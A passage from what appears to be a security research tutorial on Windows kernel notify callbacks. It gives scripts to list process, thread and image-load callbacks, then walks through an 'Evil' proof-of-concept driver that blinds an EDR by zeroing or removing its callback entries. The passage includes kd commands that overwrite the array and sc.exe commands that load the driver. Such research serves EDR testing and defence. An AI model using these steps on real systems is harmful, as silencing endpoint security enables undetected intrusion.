As you can see it’s not an easy task to cover all possible code injection techniques from a
detection point of view. We (well, not me) sometimes laugh at security products. However, in
some cases (not always), if we start playing on the other side it’s not so funny.

Image Load Notifications

Any Endpoint Security software is heavily interested in Image loads. Every time a PE image
(EXE, DLL, SYS, CPL, …) file loads our pseudo-EDR will receive a notification. We can register
for these notifications by using the API call PsSetLoadImageNotifyRoutine. To stop receiving
them, we can unregister by using the API call PsRemoveLoadImageNotifyRoutine.

We can find its definition in the ntddk.h file:

typedef 
VOID 
(*PLOAD_IMAGE_NOTIFY_ROUTINE)(
   _In_opt_ PUNICODE_STRING FullImageName, 
   _In_ HANDLE ProcessId,                // pid into which image is being mapped 
   _In_ PIMAGE_INFO ImageInfo 
   );

In our driver, we register for image load notifications in the DriverEntry function.

status = PsSetLoadImageNotifyRoutine(OnImageLoadNotify); 
if (!NT_SUCCESS(status)) { 
   KdPrint((DRIVER_PREFIX "failed to set image load callback (status=%08X)\n", 
status)); 
   break; 
}

However, we don’t do “anything” in the OnImageLoadNotify function. However, there’s an
interesting gotcha worth mentioning. The FullImageName argument you can see above is
optional as noted by the SAL annotation. This means it can be NULL and it doesn’t always
produce the correct image file name. Microsoft is aware of this issue, and this issue can
allegedly be abused to bypass some Security systems. There are two really interesting posts
about the root cause of this issue from Ensilo, here and here. There’s another different issue
with this callback, that I might talk about in a different post.

Kernel Notify Callbacks Enumeration

As mentioned before, if we can set these callbacks… we can also remove them. If the
callback is set by our driver it’s trivial to unset it. However, if we want to enumerate all the
callbacks that exist on the system extra work is required.

https://web.archive.org/web/20200326040826/https://www.youtube.com/watch?v=wIhlchiRmKQ&t=1385
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-psremoveloadimagenotifyroutine
https://web.archive.org/web/20200326040826/https://github.com/fdiskyou/wdk-header-files/blob/master/win10rs5/ntddk.h
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/cpp/c-runtime-library/sal-annotations?view=vs-2019
https://web.archive.org/web/20200326040826/https://www.trendmicro.com/vinfo/pl/security/news/security-technology/windows-kernel-bug-found-can-be-abused-to-reportedly-bypass-security-systems
https://web.archive.org/web/20200326040826/https://blog.ensilo.com/windows-pssetloadimagenotifyroutine-callbacks-the-good-the-bad-and-the-unclear-part-1
https://web.archive.org/web/20200326040826/https://blog.ensilo.com/windows-pssetloadimagenotifyroutine-callbacks-the-good-the-bad-and-the-unclear-part-2
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We can use some kd scripting kung-fu and enumerate all the callbacks registered in the
system easily.

KD (WinDbg) script

To look at the callbacks registered in the system we can use some debugging and
automation scripts.

You can use the kd script below to list Process, Threads, and Image load callbacks. It’s not
very robust in terms of error handling at the moment. Feel free to improve it. There are no
dependencies, just some quick scripting with the Debugging Tools.
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$$ displays a list of all registered process/thread creation and image load callbacks 
$$ $$><C:\Users\rui\Desktop\windbg-scripts\psnotifycallbacks.wdb 

r $t0 = dwo(nt!PspCreateProcessNotifyRoutineExCount) 
r $t1 = dwo(nt!PspCreateProcessNotifyRoutineCount) 
r $t3 = nt!PspCreateProcessNotifyRoutine 

aS ${Total} (@$t0 + @$t1) 

.block 
{   
 .printf "[+] Total of: %u CreateProcessNotifyRoutines\n", ${Total} 

 .for (r $t4 = 0 ; $t4 < ${Total} ; r $t4 = @$t4 + 1) 
 { 
   r $t5 = poi(@$t3 + (@$ptrsize * @$t4)) 
   r $t5 = @@C++(@$t5 & (~0xf)) 
   r $t6 = (@$t5 + @$ptrsize) 
   .printf "[%u] %y\n", @$t4, poi(@$t6) 
 } 
} 

ad /q _sr_${Total}; 

r $t0 = dwo(nt!PspCreateThreadNotifyRoutineCount) 
r $t1 = nt!PspCreateThreadNotifyRoutine 

aS ${Total} @$t0 

.block 
{ 
 .printf "\n[+] Total of: %u CreateThreadNotifyRoutines\n", ${Total} 

 .for (r $t4 = 0 ; $t4 < ${Total} ; r $t4 = @$t4 + 1) 
 { 
   r $t5 = poi(@$t1 + (@$ptrsize * @$t4)) 
   r $t5 = @@C++(@$t5 & (~0xf)) 
   r $t6 = (@$t5 + @$ptrsize) 
   .printf "[%u] %y\n", @$t4, poi(@$t6) 
 } 
} 

ad /q _sr_${Total}; 

r $t0 = dwo(nt!PspLoadImageNotifyRoutineCount) 
r $t1 = nt!PspLoadImageNotifyRoutine 

aS ${Total} (@$t0) 

.block 
{ 
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 .printf "\n[+] Total of: %u CreateLoadImageRoutines\n", ${Total} 

 .for (r $t4 = 0 ; $t4 < ${Total} ; r $t4 = @$t4 + 1) 
 { 
   r $t5 = poi(@$t1 + (@$ptrsize * @$t4)) 
   r $t5 = @@C++(@$t5 & (~0xf)) 
   r $t6 = (@$t5 + @$ptrsize) 
   .printf "[%u] %y\n", @$t4, poi(@$t6) 
 } 
} 

ad /q _sr_${Total}; 
ad /q *; 

In case you aren’t familiar with Windows debugging scripting, here’s a brief description about
what’s going on. As mentioned before, when a driver registers a process callback, the
pointer to the callback is stored in an internal data structure. More precisely, an array of
pointers (to those data structures). This is maintained in a global variable named
nt!PspCreateProcessNotifyRoutine. Yes, global variable!

Depending on the API, and Windows version, that was used to register the process
callbacks, either one of the 2 counters is used:

nt!PspCreateProcessNotifyRoutineExCount

nt!PspCreateProcessNotifyRoutineCount

These counters are incremented when a new callback is registered in the system.

The same happens for threads, and every time an image is (un)loaded. So, we calculate the
total number of callbacks and then iterate through the array of pointers to get the respective
structures to display the symbol associated with the callback function pointer. If you aren’t
getting symbols try using .reload before running the script.

The $t0 to $t6 are the debugger temporary registers and are used as variables. The r is
used when we use them for the first time on a new line of the script. dwo is a Masm operator
used to read the DWORD of 32 bits values. With aS we are setting an alias count to the sum of
the registers $t0 and $t1.

.printf, as I bet you can guess, is a control flow token and part of the debugging scripting
language which can be used to format and display values from the debugger script.

Probably you can also guess what .for is. Correct, another control flow token. poi is a MASM
operator similar to dwo but it is used to reference pointer size values.

@$ptrsize is a pseudo register that is automatically set to 4, or 8, depending on the target
system being debugged (a 32 or 64-bit system respectively).
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For the debugger to process the & and ~ operators, both part of the C++ language, we have
to switch to the C++ expression evaluator using @@C++. With ad ${/v:Count} we delete the
alias count so it doesn’t interfere with the subsequent executions of the script.

Finally, to run the external script in the debugger:

$$><c:\path\to\script.wdb 

Here’s the output of the execution of the script above in my system.

We can see all the notification callback routines registered by our pseudo-EDR driver. You
might recognize some, and if you looked at these before you might even notice that one
that’s usually here… is missing. Yes, I disabled Windows Defender in this system, so the
WdFilter.sys is missing. Good catch!

Python script

While the above is enough, because I like Python, based on this triplefault.io post I “hacked”
the following Python script with Pykd that you can use to enumerate Process, Threads, and
Image Load callbacks as well.

https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Windows_Defender
https://web.archive.org/web/20200326040826/https://www.triplefault.io/2017/09/enumerating-process-thread-and-image.html
https://web.archive.org/web/20200326040826/https://githomelab.ru/pykd/pykd
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from pykd import * 

version = getSystemVersion() 

def ptr_size(): 
 if is64bitSystem(): 
  return 8 
 else: 
  return 4 

def checkKernelDebugging(): 
 if not isKernelDebugging() and not isLocalKernelDebuggerEnabled(): 
   print("[-] Not running inside KD!") 
   exit(1) 

# load required module 'nt' 
def loadNT(): 
 try: 
   nt = module("nt") 
 except:  
   print("[-] Couldn't not get the base address of 'ntoskrnl'.") 
   exit(1) 
 return nt 

def fastref(_EX_FAST_REF): 
 # discard last 4 bits of the pointer 
 return ((_EX_FAST_REF >> 4) << 4) 

def listCallbacks(CallbacksArray, ArraySize): 
 PSIZE = ptr_size() 
 for i in range(ArraySize): 
   callback = (CallbacksArray + (i * PSIZE)) 
   try: 
     callback = ptrPtr(callback) 
   except: 
     print i 
     print ArraySize 
     print("[-] Couldn't read memory!!") 
     exit(1) 
   if callback == 0: 
     continue 
   obj = fastref(callback) 

   try: 
  apicall = ptrPtr(obj + (PSIZE)) 

   except: 
     print("[-] Couldn't read memory!") 
     exit(1) 

   print("[{}] {:#x} ({})".format(i, apicall, findSymbol(apicall))) 

def processCallbacks(nt): 
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 try: 
  # read counters 
   PspCreateProcessNotifyRoutineExCount = 
ptrDWord(nt.offset("PspCreateProcessNotifyRoutineExCount")) 
   PspCreateProcessNotifyRoutineCount  = 
ptrDWord(nt.offset("PspCreateProcessNotifyRoutineCount")) 
   # get the address of the symbol PspCreateProcessNotifyRoutine 
   PspCreateProcessNotifyRoutine = nt.offset("PspCreateProcessNotifyRoutine") 
 except: 
  print("[-] Couldn't not read memory and/or load Symbols") 
  exit(1) 

 # if <= Windows 2003 https://www.gaijin.at/en/infos/windows-version-numbers 
 if version.buildNumber <= 3790: 
  num = PspCreateProcessNotifyRoutineCount 
 else: 
   num = PspCreateProcessNotifyRoutineExCount + PspCreateProcessNotifyRoutineCount 
 print("[+] Total of: {} CreateProcessNotifyRoutines".format(num)) 
 listCallbacks(PspCreateProcessNotifyRoutine, num) 

def threadCallbacks(nt): 
 try: 
  # counter 
   PspCreateThreadNotifyRoutineCount = 
ptrDWord(nt.offset("PspCreateThreadNotifyRoutineCount")) 
   # get the address of the symbol PspCreateThreadNotifyRoutine 
   PspCreateThreadNotifyRoutine = nt.offset("PspCreateThreadNotifyRoutine") 
 except: 
   print("[-] Couldn't not read memory and/or load Symbols") 
   exit(1) 

 if version.buildNumber >= 10240: 
  num = PspCreateThreadNotifyRoutineCount + 
ptrDWord(nt.offset("PspCreateThreadNotifyRoutineNonSystemCount")) 
 else: 
   num = PspCreateThreadNotifyRoutineCount 
 print("\n[+] Total of: {} CreateThreadNotifyRoutines".format(num)) 
 listCallbacks(PspCreateThreadNotifyRoutine, num) 

def loadimageCallbacks(nt): 
 try: 
   # read counters 
   PspLoadImageNotifyRoutineCount = 
ptrDWord(nt.offset("PspLoadImageNotifyRoutineCount")) 
   # get the address of the symbol PspLoadImageNotifyRoutine 
   PspLoadImageNotifyRoutine = nt.offset("PspLoadImageNotifyRoutine") 
 except: 
   print("[-] Couldn't not read memory and/or load Symbols") 
   exit(1) 

 num = PspLoadImageNotifyRoutineCount 
 print("\n[+] Total of: {} CreateLoadImageRoutines".format(num)) 
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 listCallbacks(PspLoadImageNotifyRoutine, num) 

if __name__ == '__main__': 
 checkKernelDebugging() 
 nt = loadNT() 
 processCallbacks(nt) 
 threadCallbacks(nt) 
 loadimageCallbacks(nt) 

To run it:

1: kd> .load pykd 
1: kd> !py C:\Users\rui\desktop\tools\windbg-scripts\psnotifycallbacks.py 

Here’s the output of its execution on my system.

SwishDbgExt

You can also use the SwishDbgExt WinDbg extension, which is pretty cool and will give you
way more information. Just use the command !ms_callbacks, see below.

https://web.archive.org/web/20200326040826/https://github.com/fdiskyou/SwishDbgExt
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If you fancy colours and buttons, use windbg instead of kd as above.

The PspCreateProcessNotifyRoutine array

The scripts above are all cool and pretty, but let’s see how to find this information “manually”
without the help of these scripts. I advise you to read the code of the scripts above, because
in the end what we’ll do step by step here, is what the scripts are doing with some extra
lifting and error handling. We are going through this “manually” mainly because you’ll need to
understand it if you later want to modify the source code of the Evil.sys kernel driver (that
we’ll talk about further down).

In this walkthrough, we’ll be using, as mentioned already, Windows 10 x64 1903 19H1 (OS
Build 18362.592). I won’t mention 32-bit systems or other Windows versions below 10. You
can look at them yourself if you like. I can tell you in advance that the process to identify
these global arrays (PspCreateProcessNotifyRoutine, and
PspCreateThreadNotifyRoutine) is easier.

We start by disassembling the function PsSetCreateProcessNotifyRoutine.
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0: kd> u nt!PsSetCreateProcessNotifyRoutine 
nt!PsSetCreateProcessNotifyRoutine: 
fffff800`26f48b60 4883ec28        sub     rsp,28h 
fffff800`26f48b64 8ac2            mov     al,dl 
fffff800`26f48b66 33d2            xor     edx,edx 
fffff800`26f48b68 84c0            test    al,al 
fffff800`26f48b6a 0f95c2          setne   dl 
fffff800`26f48b6d e80e010000      call    nt!PspSetCreateProcessNotifyRoutine 
(fffff800`26f48c80) 
fffff800`26f48b72 4883c428        add     rsp,28h 
fffff800`26f48b76 c3              ret 

Above, we can get the address of the function PspSetCreateProcessNotifyRoutine. So we
disassemble it too.
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0: kd> u nt!PspSetCreateProcessNotifyRoutine  
nt!PspSetCreateProcessNotifyRoutine: 
fffff800`26f48c80 48895c2408      mov     qword ptr [rsp+8],rbx 
fffff800`26f48c85 48896c2410      mov     qword ptr [rsp+10h],rbp 
fffff800`26f48c8a 4889742418      mov     qword ptr [rsp+18h],rsi 
fffff800`26f48c8f 57              push    rdi 
fffff800`26f48c90 4154            push    r12 
fffff800`26f48c92 4155            push    r13 
fffff800`26f48c94 4156            push    r14 
fffff800`26f48c96 4157            push    r15 
0: kd> u 
nt!PspSetCreateProcessNotifyRoutine+0x18: 
fffff800`26f48c98 4883ec20        sub     rsp,20h 
fffff800`26f48c9c 8bf2            mov     esi,edx 
fffff800`26f48c9e 8bda            mov     ebx,edx 
fffff800`26f48ca0 83e602          and     esi,2 
fffff800`26f48ca3 4c8bf1          mov     r14,rcx 
fffff800`26f48ca6 f6c201          test    dl,1 
fffff800`26f48ca9 0f8591520c00    jne     nt!PspSetCreateProcessNotifyRoutine+0xc52c0 
(fffff800`2700df40) 
fffff800`26f48caf 85f6            test    esi,esi 
0: kd> u 
nt!PspSetCreateProcessNotifyRoutine+0x31: 
fffff800`26f48cb1 0f848c000000    je      nt!PspSetCreateProcessNotifyRoutine+0xc3 
(fffff800`26f48d43) 
fffff800`26f48cb7 ba20000000      mov     edx,20h 
fffff800`26f48cbc e89f82a3ff      call    nt!MmVerifyCallbackFunctionCheckFlags 
(fffff800`26980f60) 
fffff800`26f48cc1 85c0            test    eax,eax 
fffff800`26f48cc3 0f843a530c00    je      nt!PspSetCreateProcessNotifyRoutine+0xc5383 
(fffff800`2700e003) 
fffff800`26f48cc9 488bd3          mov     rdx,rbx 
fffff800`26f48ccc 498bce          mov     rcx,r14 
fffff800`26f48ccf e8a4000000      call    nt!ExAllocateCallBack (fffff800`26f48d78) 
0: kd> u 
nt!PspSetCreateProcessNotifyRoutine+0x54: 
fffff800`26f48cd4 488bf8          mov     rdi,rax 
fffff800`26f48cd7 4885c0          test    rax,rax 
fffff800`26f48cda 0f842d530c00    je      nt!PspSetCreateProcessNotifyRoutine+0xc538d 
(fffff800`2700e00d) 
fffff800`26f48ce0 33db            xor     ebx,ebx 
fffff800`26f48ce2 4c8d2d77d3dbff  lea     r13,[nt!PspCreateProcessNotifyRoutine 
(fffff800`26d06060)] 
fffff800`26f48ce9 488d0cdd00000000 lea     rcx,[rbx*8] 
fffff800`26f48cf1 4533c0          xor     r8d,r8d 
fffff800`26f48cf4 4903cd          add     rcx,r13 

Once we see the lea instruction for the first time we found the global array we are
interested in (PspCreateProcessNotifyRoutine). In this Windows version, the address is
loaded into the register R13. If you look into other Windows versions you can see it being

https://web.archive.org/web/20200326040826/https://www.felixcloutier.com/x86/lea
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loaded into R14, R15, or others. The same goes for the initial call that led us to the
PspSetCreateProcessNotifyRoutine. In some Windows versions, you might find a jmp
instead. We’ll need to handle these cases in our Evil driver.

Note: Since these are only a few opcodes we need to parse to find the instructions we are
interested in, doing it manually it’s ok. If you want to do it properly look at Capstone or Zydis.

If we now display the contents of the array…

0: kd> dqs fffff800`26d06060 
fffff800`26d06060  ffffcd0b`e2c5024f 
fffff800`26d06068  ffffcd0b`e2dea2af 
fffff800`26d06070  ffffcd0b`e486525f 
fffff800`26d06078  ffffcd0b`e4865c1f 
fffff800`26d06080  ffffcd0b`e486ccff 
fffff800`26d06088  ffffcd0b`e486caef 
fffff800`26d06090  ffffcd0b`e486d59f 
fffff800`26d06098  ffffcd0b`e7722c1f 
fffff800`26d060a0  ffffcd0b`e772696f 
fffff800`26d060a8  ffffcd0b`e9e8a1cf 
fffff800`26d060b0  00000000`00000000 
fffff800`26d060b8  00000000`00000000 

Hmm, no symbols resolution? To get the actual address of the notification routines we need
to AND the values we have in the array with 0xFFFFFFFFFFFFFFF8. For example, for the last
value of the array:

0: kd> dps (ffffcd0b`e9e8a1cf & FFFFFFFFFFFFFFF8) L1 
ffffcd0b`e9e8a1c8  fffff800`2c821720 edr!OnProcessNotify 
[c:\users\rui\source\repos\edr\edr\edr.cpp @ 158] 

For now, that’s all we need to know. We’ll talk about these “signatures”, that we have to
parse in our Evil driver to find the kernel structures we are interested, further down.

The PspCreateThreadNotifyRoutine array

The process to find the PspCreateThreadNotifyRoutine is pretty much the same as for
PspCreateProcessNotifyRoutine. Since our proof-of-concept Evil driver doesn’t care about
threads I’ll just list here the kd output for the same Windows version as described above.

https://web.archive.org/web/20200326040826/http://www.capstone-engine.org/
https://web.archive.org/web/20200326040826/https://zydis.re/
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0: kd> u nt!PsSetCreateThreadNotifyRoutine 
nt!PsSetCreateThreadNotifyRoutine: 
fffff806`4c748940 4883ec28        sub     rsp,28h 
fffff806`4c748944 33d2            xor     edx,edx 
fffff806`4c748946 e865000000      call    nt!PspSetCreateThreadNotifyRoutine 
(fffff806`4c7489b0) 
fffff806`4c74894b 4883c428        add     rsp,28h 
fffff806`4c74894f c3              ret 
fffff806`4c748950 cc              int     3 
fffff806`4c748951 cc              int     3 
fffff806`4c748952 cc              int     3 
0: kd> u nt!PspSetCreateThreadNotifyRoutine 
nt!PspSetCreateThreadNotifyRoutine: 
fffff806`4c7489b0 48895c2408      mov     qword ptr [rsp+8],rbx 
fffff806`4c7489b5 4889742410      mov     qword ptr [rsp+10h],rsi 
fffff806`4c7489ba 57              push    rdi 
fffff806`4c7489bb 4883ec20        sub     rsp,20h 
fffff806`4c7489bf 8bf2            mov     esi,edx 
fffff806`4c7489c1 8bd2            mov     edx,edx 
fffff806`4c7489c3 e8b0030000      call    nt!ExAllocateCallBack (fffff806`4c748d78) 
fffff806`4c7489c8 488bf8          mov     rdi,rax 
0: kd> u 
nt!PspSetCreateThreadNotifyRoutine+0x1b: 
fffff806`4c7489cb 4885c0          test    rax,rax 
fffff806`4c7489ce 0f840e550c00    je      nt!PspSetCreateThreadNotifyRoutine+0xc5532 
(fffff806`4c80dee2) 
fffff806`4c7489d4 33db            xor     ebx,ebx 
fffff806`4c7489d6 488d0d83d2dbff  lea     rcx,[nt!PspCreateThreadNotifyRoutine 
(fffff806`4c505c60)] 
fffff806`4c7489dd 4533c0          xor     r8d,r8d 
fffff806`4c7489e0 488d0cd9        lea     rcx,[rcx+rbx*8] 
fffff806`4c7489e4 488bd7          mov     rdx,rdi 
fffff806`4c7489e7 e8b084a3ff      call    nt!ExCompareExchangeCallBack 
(fffff806`4c180e9c) 

We decode the function addresses the same way.

0: kd> dqs fffff806`4c505c60 
fffff806`4c505c60  ffff8882`ac745c8f 
fffff806`4c505c68  ffff8882`ac702a0f 
fffff806`4c505c70  00000000`00000000 
fffff806`4c505c78  00000000`00000000 
(...) 
0: kd> dps (ffff8882`ac702a0f & FFFFFFFFFFFFFFF8) L1 
ffff8882`ac702a08  fffff806`52481a20 edr!OnThreadNotify 

As I said in the beginning, and as you can see, all these Ps notify callbacks “work” more or
less the same way.

Evil Kernel Mode Driver
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What’s this Evil kernel driver about after all? We asked ourselves before what happens if we
zero out these global arrays where the addresses of our notification callbacks are stored.
Also, we said that if we can set notification callbacks we can also unset them. Right?

Right. We can simply try it with the debugger. We don’t need to write a kernel driver to find
out. For example, if we want to zero out the entry for our EDR we can simply do:

0: kd> dqs fffff800`26d06060 
fffff800`26d06060  ffffcd0b`e2c5024f 
fffff800`26d06068  ffffcd0b`e2dea2af 
fffff800`26d06070  ffffcd0b`e486525f 
fffff800`26d06078  ffffcd0b`e4865c1f 
fffff800`26d06080  ffffcd0b`e486ccff 
fffff800`26d06088  ffffcd0b`e486caef 
fffff800`26d06090  ffffcd0b`e486d59f 
fffff800`26d06098  ffffcd0b`e7722c1f 
fffff800`26d060a0  ffffcd0b`e772696f 
fffff800`26d060a8  ffffcd0b`e9e8a1cf 
fffff800`26d060b0  00000000`00000000 
0: kd> eq fffff800`26d060a8 0 
0: kd> dqs fffff800`26d06060 
fffff800`26d06060  ffffcd0b`e2c5024f 
fffff800`26d06068  ffffcd0b`e2dea2af 
fffff800`26d06070  ffffcd0b`e486525f 
fffff800`26d06078  ffffcd0b`e4865c1f 
fffff800`26d06080  ffffcd0b`e486ccff 
fffff800`26d06088  ffffcd0b`e486caef 
fffff800`26d06090  ffffcd0b`e486d59f 
fffff800`26d06098  ffffcd0b`e7722c1f 
fffff800`26d060a0  ffffcd0b`e772696f 
fffff800`26d060a8  00000000`00000000 
fffff800`26d060b0  00000000`00000000 

As simple as that. And from now on… our EDR won’t receive anymore process
creation/termination notifications. From an attacker perspective, using kd is not realistic in an
attack scenario for many obvious reasons.

What if we have a kernel driver that does exactly this for us, and few other things more? Let’s
see what’s this Evil driver is about. Build the driver with Debug mode enabled, load it with
sc.exe, and run its user-mode client too to find out which options are available.

sc create evil type= kernel binPath= c:\users\rui\desktop\evil.sys 
sc start evil 
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As we can see from above, there are multiple things we can do with the Evil driver user-
mode client.

list all the notification callbacks registered on the system for process
creation/termination
zero out the array, basically what we did with kd above (let’s call it Cowboy Mode)
unset these notification callbacks (Red Team Mode)
patch these notification callbacks (Threat Actor Mode)

These “special” modes are just parody, but let’s go through each one of them.

First, we use our Evil driver user-mode client to list all the process creation/termination
notification callbacks registered in the system.

How is this achieved? I use the AuxKlibQueryModuleInformation to retrieve information
about all the image modules that the system has loaded. You can have a look at the function
SearchModules inside the evil.cpp file. It’s a slightly modified version of the
DisplayModules function that you can find on the same file. You can also call this
DisplayModules function from the evilcli.exe with the “undocumented” -m switch.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/aux_klib/nf-aux_klib-auxklibquerymoduleinformation
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NTSTATUS DisplayModules() 
{ 

auto status = STATUS_SUCCESS; 
ULONG  modulesSize; 
AUX_MODULE_EXTENDED_INFO* modules; 
ULONG  numberOfModules, i; 

status = AuxKlibInitialize(); 
if (!NT_SUCCESS(status)) 
{ 
 KdPrint(("AuxKlibInitialize fail %d\n", status)); 
 return status; 
} 

status = AuxKlibQueryModuleInformation(&modulesSize, 
sizeof(AUX_MODULE_EXTENDED_INFO), NULL);// Get the required array size. 

if (!NT_SUCCESS(status) || modulesSize == 0) { 
 return status; 
} 

numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO);// Calculate 
the number of modules. 

modules = (AUX_MODULE_EXTENDED_INFO*)ExAllocatePoolWithTag(PagedPool, 
modulesSize, DRIVER_TAG);// Allocate memory to receive data. 

if (modules == NULL) { 
 status = STATUS_INSUFFICIENT_RESOURCES; 
 return status; 
} 
RtlZeroMemory(modules, modulesSize); 

status = AuxKlibQueryModuleInformation(&modulesSize, 
sizeof(AUX_MODULE_EXTENDED_INFO), modules);// Obtain the module information. 

if (!NT_SUCCESS(status)) { 
 ExFreePoolWithTag(modules, DRIVER_TAG); 
 return status; 
} 

KdPrint(("[ # ] ImageBase\t\t\tImageSize\t\t\t\t\t\t  FileName  
FullPathName\n")); 

for (i = 0; i < numberOfModules; i++) 
{ 
 KdPrint(("[%03d] %p\t", i, modules[i].BasicInfo.ImageBase)); // 

ImageBase 
 KdPrint(("0x%08x\t", modules[i].ImageSize)); // ImageSize 
 KdPrint(("%30s ", modules[i].FullPathName + 

modules[i].FileNameOffset)); // FileName 
 KdPrint((" %s\n", modules[i].FullPathName)); // FullPathName 
} 

ExFreePoolWithTag(modules, DRIVER_TAG); 
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return status; 
}

If you use the -m switch (evilcli.exe -m) you won’t see the output in user-mode (there are
other ways of getting the same information from a medium integrity process as we’ll see
later). However, if you have your kernel debugger attached you’ll see the following.

This -m switch is just for my own debugging. However, you can see that with this information
at hand it’s trivial to find out at which module each one of the global array values belongs.
Look at the SearchModules function for details.

Let’s look at the -z switch now. Zero out Process Notify Callback’s Array (Cowboy
Mode). Let’s start by locating the array, as we did before.
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0: kd> u nt!PsSetCreateProcessNotifyRoutine 
nt!PsSetCreateProcessNotifyRoutine: 
fffff806`4c748b60 4883ec28        sub     rsp,28h 
fffff806`4c748b64 8ac2            mov     al,dl 
fffff806`4c748b66 33d2            xor     edx,edx 
fffff806`4c748b68 84c0            test    al,al 
fffff806`4c748b6a 0f95c2          setne   dl 
fffff806`4c748b6d e80e010000      call    nt!PspSetCreateProcessNotifyRoutine 
(fffff806`4c748c80) 
fffff806`4c748b72 4883c428        add     rsp,28h 
fffff806`4c748b76 c3              ret 
0: kd> u nt!PspSetCreateProcessNotifyRoutine 
nt!PspSetCreateProcessNotifyRoutine: 
fffff806`4c748c80 48895c2408      mov     qword ptr [rsp+8],rbx 
fffff806`4c748c85 48896c2410      mov     qword ptr [rsp+10h],rbp 
fffff806`4c748c8a 4889742418      mov     qword ptr [rsp+18h],rsi 
fffff806`4c748c8f 57              push    rdi 
fffff806`4c748c90 4154            push    r12 
fffff806`4c748c92 4155            push    r13 
fffff806`4c748c94 4156            push    r14 
fffff806`4c748c96 4157            push    r15 
0: kd> u 
nt!PspSetCreateProcessNotifyRoutine+0x18: 
fffff806`4c748c98 4883ec20        sub     rsp,20h 
fffff806`4c748c9c 8bf2            mov     esi,edx 
fffff806`4c748c9e 8bda            mov     ebx,edx 
fffff806`4c748ca0 83e602          and     esi,2 
fffff806`4c748ca3 4c8bf1          mov     r14,rcx 
fffff806`4c748ca6 f6c201          test    dl,1 
fffff806`4c748ca9 0f8591520c00    jne     nt!PspSetCreateProcessNotifyRoutine+0xc52c0 
(fffff806`4c80df40) 
fffff806`4c748caf 85f6            test    esi,esi 
0: kd> u 
nt!PspSetCreateProcessNotifyRoutine+0x31: 
fffff806`4c748cb1 0f848c000000    je      nt!PspSetCreateProcessNotifyRoutine+0xc3 
(fffff806`4c748d43) 
fffff806`4c748cb7 ba20000000      mov     edx,20h 
fffff806`4c748cbc e89f82a3ff      call    nt!MmVerifyCallbackFunctionCheckFlags 
(fffff806`4c180f60) 
fffff806`4c748cc1 85c0            test    eax,eax 
fffff806`4c748cc3 0f843a530c00    je      nt!PspSetCreateProcessNotifyRoutine+0xc5383 
(fffff806`4c80e003) 
fffff806`4c748cc9 488bd3          mov     rdx,rbx 
fffff806`4c748ccc 498bce          mov     rcx,r14 
fffff806`4c748ccf e8a4000000      call    nt!ExAllocateCallBack (fffff806`4c748d78) 
0: kd> u 
nt!PspSetCreateProcessNotifyRoutine+0x54: 
fffff806`4c748cd4 488bf8          mov     rdi,rax 
fffff806`4c748cd7 4885c0          test    rax,rax 
fffff806`4c748cda 0f842d530c00    je      nt!PspSetCreateProcessNotifyRoutine+0xc538d 
(fffff806`4c80e00d) 
fffff806`4c748ce0 33db            xor     ebx,ebx 



43/62

fffff806`4c748ce2 4c8d2d77d3dbff  lea     r13,[nt!PspCreateProcessNotifyRoutine 
(fffff806`4c506060)] 
fffff806`4c748ce9 488d0cdd00000000 lea     rcx,[rbx*8] 
fffff806`4c748cf1 4533c0          xor     r8d,r8d 
fffff806`4c748cf4 4903cd          add     rcx,r13 
0: kd> dqs fffff806`4c506060 
fffff806`4c506060  ffff8882`a7c5006f 
fffff806`4c506068  ffff8882`a7e640ff 
fffff806`4c506070  ffff8882`a9b8a73f 
fffff806`4c506078  ffff8882`a9b8aaff 
fffff806`4c506080  ffff8882`a9b91abf 
fffff806`4c506088  ffff8882`a9b91c9f 
fffff806`4c506090  ffff8882`a9b92b0f 
fffff806`4c506098  ffff8882`a9b9562f 
fffff806`4c5060a0  ffff8882`ac745d1f 
fffff806`4c5060a8  ffff8882`ac702d0f 
fffff806`4c5060b0  00000000`00000000 
fffff806`4c5060b8  00000000`00000000 
fffff806`4c5060c0  00000000`00000000 
fffff806`4c5060c8  00000000`00000000 
fffff806`4c5060d0  00000000`00000000 
fffff806`4c5060d8  00000000`00000000 

So we have our array at fffff8064c506060. If we now run our evilclient.exe with the -z
switch this array should be completely zero’ed out.

We should see the following in our debugger.

These are just debug messages, but it means basically that we successfully found what we
were looking for. The logic is implemented in the function
FindPspCreateProcessNotifyRoutine, look at the source code. Again, if you want to do a
proper job, use Capstone or Zydis as I mentioned before. For a few instructions like in this
case, it is fine to parse the memory ourselves and search for the opcodes we are interested
in.

Anyway, if we look at the array address again…

https://web.archive.org/web/20200326040826/http://www.capstone-engine.org/
https://web.archive.org/web/20200326040826/https://zydis.re/
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0: kd> dqs fffff806`4c506060 
fffff806`4c506060  00000000`00000000 
fffff806`4c506068  00000000`00000000 
fffff806`4c506070  00000000`00000000 
fffff806`4c506078  00000000`00000000 
fffff806`4c506080  00000000`00000000 
fffff806`4c506088  00000000`00000000 
fffff806`4c506090  00000000`00000000 
fffff806`4c506098  00000000`00000000 
fffff806`4c5060a0  00000000`00000000 
fffff806`4c5060a8  00000000`00000000 
fffff806`4c5060b0  00000000`00000000 
fffff806`4c5060b8  00000000`00000000 
fffff806`4c5060c0  00000000`00000000 
fffff806`4c5060c8  00000000`00000000 
fffff806`4c5060d0  00000000`00000000 
fffff806`4c5060d8  00000000`00000000 

All zeros. This is quite intrusive and that’s why I called it Cowboy Mode. Don’t do this! All the
other notification callbacks that were registered by other system components are gone.
PatchGuard won’t complain, because Windows Defender (WdFilter.sys) is disabled in my
system. Otherwise touching it would have consequences.

Note: If you want to know if PatchGuard will trigger after this change, you’ll need a different
VM. PatchGuard will not run if kernel debugging is enabled.

Let’s now look at the second option, Delete Specific Process Notify Callback (Red Team
Mode). This is much lesser intrusive and probably aligns with your “mission”. Silence the
EDR, while it still runs and everyone believes that everything is fine. So what’s the first thing
to do? List all the process notify callbacks registered.

We locate our target, in this case [09] 0xfffff807027b1720 (edr.sys + 0x1720). We
want to remove it because at the moment it is blocking our favourite h4x0r tool
(injector.exe).
